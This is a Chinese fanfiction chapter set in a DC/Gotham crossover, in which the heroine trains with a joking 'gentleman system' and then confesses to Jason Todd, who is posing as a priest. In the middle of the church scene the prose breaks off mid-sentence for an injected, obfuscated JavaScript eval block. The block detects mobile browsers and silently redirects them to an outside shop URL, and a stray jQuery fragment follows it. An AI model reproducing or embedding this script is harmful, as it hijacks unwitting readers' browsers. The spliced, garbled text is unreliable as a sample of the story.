20.地狱笑话

作品:《[综英美]中文系学生哥谭求生指南

    1


    “没有!我不想当美强惨啊喂!!”景春骅有点应激,她也说不清楚自己内心的想法。


    【真的?你看我信你吗?】系统能检测到关于景春骅身体的一切,可它无法去探究记忆。它还是坚持自己的判断。


    “真的。什么也没有。”


    系统并不想去逼景春骅,于是它妥协了:【好吧。】


    景春骅松了一口气:好了,不要去疑神疑鬼了!你又不是心理委员,现在是训练时间!”


    她说着,又害怕系统的追问,于是一头扎进了训练空间里。


    2


    【恭喜宿主!乐考核通过,评级:君子级!】


    景春骅刚跳完那支冗长庄严的祭祀舞,额发被汗黏在颊边,呼吸还没平复。她感觉自己现在去古代祭坛求雨都能直接上岗。


    她已经懒得去吐槽祭祀舞到底和君子有什么关系了。


    “下一项是什么?”她直奔主题。


    【是御哦。】


    竟然这么早就轮到这一项了,景春骅感觉自己汗毛竖起了,她大概就是要去骑马了,毕竟骑马射箭才是正道,只是在哥谭骑马射箭吗!那画面很美了。


    空间在她思考的几个瞬间完成了变换,现在出现在景春骅面前的是——


    摩托车。


    她伸出手指,颤颤巍巍地指向了那辆酷毙了的改装摩托车,发自心底的提问:“你这个御,它正经吗?”


    【包正经的!这是御的现代化双创发展,符合哥谭的具体国情,真正做到了实事求是,与时俱进!】


    哪个混蛋给系统的数据库里塞了高中政治书啊喂!!


    “那我只要学这个就好了吗?”景春骅想起来之前学习乐的悲惨经历,多问了一嘴。


    【不、】系统发出了冷酷的声音,【你还得学开车,最后才是骑马。】


    搞半天还是得骑马吗!这种富人的运动和她有什么关系!


    景春骅看着眼前这台看起来就能轻易把她甩出去的钢铁巨兽,深吸一口气。


    行,不就是摩托车吗,开!


    3


    感谢零痛觉。


    但就算是有零痛觉,景春骅也怀疑自己现在是一滩嵌在墙上的君子酱了。


    明明杰森开摩托车那么帅气潇洒,怎么轮到她就像是个马戏团杂耍的呢。


    【不许你侮辱迪克!】


    ?


    “我真的没话说了。他是空中飞人好吧?”景春骅刚从又一次从侧滑中爬起来闻言差点一口气没上来。


    【硬要说的话,你一个人开出来了印度人的风范。】


    “不能侮辱迪克就可以嘲笑印度人了吗!!”


    【迪克是白人。】


    ???好地狱啊!!


    “他——不——是!你比我还云,而且你在干什么,你的君子风范在哪里?你不是君子系统吗!”


    【哦,我在看地狱笑话大全,试图模仿,看起来很成功,毕竟你笑了。】系统的声音忽然变得有点飘。


    【至于君子,缓解朋友压力,让朋友开心也是君子,毕竟我是君子系统,解释权在我。】


    景春骅无语了。


    无语中甚至夹杂这一点感动。


    “好吧,那你以后不要开这种玩笑了,有点太地狱了。”’她沉默了一会才开口。


    【好吧。我会删掉那个笑话大全的,但是再让我开最后一个玩笑吧。】


    【什么东西会在一条小巷里打滚、身上还有洞?】


    “蝙蝠侠的父母?”


    【是保龄球。看吧,你比我地狱多了。】


    “我要去找个教堂忏悔……对不起蝙蝠侠!!死系统你还我功德!!”


    4.


    她真的去了。


    君子说到做到!


    景春骅走进教堂,这里的彩绘玻璃残缺不全,石阶缝隙里长出顽强的杂草。


    空旷的教堂里只点着几根蜡烛,光影在斑驳的墙壁上跳动。


    神像前,一个穿着黑色神父长袍、背对着她的身影,正试图把一束蔫了吧唧的百合花插进缺了口的陶罐里。动作算不上虔诚,甚至有点粗暴。


    景春骅放轻脚步走过去,在长椅第一排坐下,双手合十,酝酿忏悔的情绪。


    “神父?(father)”她小声开口。


    那身影顿了一下,把百合花胡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087849|195209||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乱塞进罐子,转过身。


    烛光勾勒出他清晰的下颌线,还有那双即使在昏暗中也显得过分锐利的蓝色眼睛。


    杰森·陶德。


    他穿着神父黑袍,领口随意敞开,里面是件T恤。胸前本该挂着十字架的地方,空荡荡的。


    简直是随遇到了极点,更别说他手里还沾着点泥巴和百合花瓣,此刻正抱着胳膊,用一种“你最好有事”的眼神看着她。


    真的是杰森……!


    也就是说,她刚才,叫了杰森,父亲。


    【这就是报应,宿主。】


    报应不报应的以后再说,关键是为啥他在教堂当神父啊!


    她震惊的模样太明显了,杰森完全能猜到她在想什么。


    “这地方我暂管,”他说,“老神父住院了,肺不好。至于我为什么在这儿——”


    “忏悔室隔音不错,适合补觉。”


    ……说自己是好心帮老神父有那么难吗?!


    景春骅沉默。烛光在网格窗上投下晃动的影子。


    “所以你来干什么?”杰森问她。


    “我来忏悔。”她最终结结巴巴地说。


    “我没想到你还信这个,行啊。”杰森转身走到忏悔室旁,拉开木门,“你进去,然后我再给你念一段圣经或者别的。”


    “也不能说相信吧?之前家里有人当过神父,嗯,所以想过来试试。”景春骅说着。


    【不是,你真的打算对着杰森忏悔吗!?】


    5.


    景春骅走进了木门,最后还是没有说出口。


    “我能不说原因吗?”她弱弱地提议。


    “随便。”隔间那边,杰森清了清嗓子,然后用一种毫无感情的语调快速念道:“……求你以慈爱迎接我,使我活在你的面前。阿门。行了,你被赦免了,出去的时候帮我把门口那袋垃圾扔了,谢了。”


    景春骅捂着脸,这么随意真的没关系吗!


    “等等,我有个问题一直想问你!”她觉得如果自己这时候不问,就再也没有机会了。


    杰森安静下来,显然是在等她发问。


    “那个,就是,嗯,你恨他吗?”